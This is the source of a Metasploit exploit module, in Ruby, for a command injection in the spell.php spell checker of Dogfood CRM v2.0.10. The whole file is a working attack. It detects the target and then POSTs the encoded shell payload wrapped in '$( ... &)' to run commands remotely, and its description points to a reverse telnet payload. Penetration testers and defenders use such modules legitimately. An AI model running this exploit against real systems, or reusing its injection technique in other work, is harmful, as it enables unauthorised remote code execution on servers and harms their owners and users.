metasploit-framework/modules/exploits/unix/webapp/dogfood_spell_exec.rb

90 lines
2.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Dogfood CRM spell.php Remote Command Execution',
'Description' => %q{
This module exploits a previously unpublished vulnerability in the
Dogfood CRM mail function which is vulnerable to command injection
in the spell check feature. Because of character restrictions, this
exploit works best with the double-reverse telnet payload. This
vulnerability was discovered by LSO and affects v2.0.10.
},
'Author' =>
[
'LSO <lso[at]hushmail.com>', # Exploit module
'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'OSVDB', '54707' ],
[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
],
'Privileged' => false,
'Platform' => ['unix'], # patrickw - removed win, linux -> untested
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 03 2009'
))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']),
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def check
res = send_request_raw(
{
'uri' => normalize_uri(datastore['URIPATH']),
}, 1)
2013-08-30 21:28:54 +00:00
if (res and res.body =~ /Spell Check complete/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
2013-08-30 21:28:54 +00:00
def exploit
timeout = 1
2013-08-30 21:28:54 +00:00
cmd = payload.encoded
data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
uri = normalize_uri(datastore['URIPATH'])
2013-08-30 21:28:54 +00:00
response = send_request_cgi(
{
'uri' => uri,
'method' => "POST",
'data' => data
},
timeout)
2013-08-30 21:28:54 +00:00
handler
end
end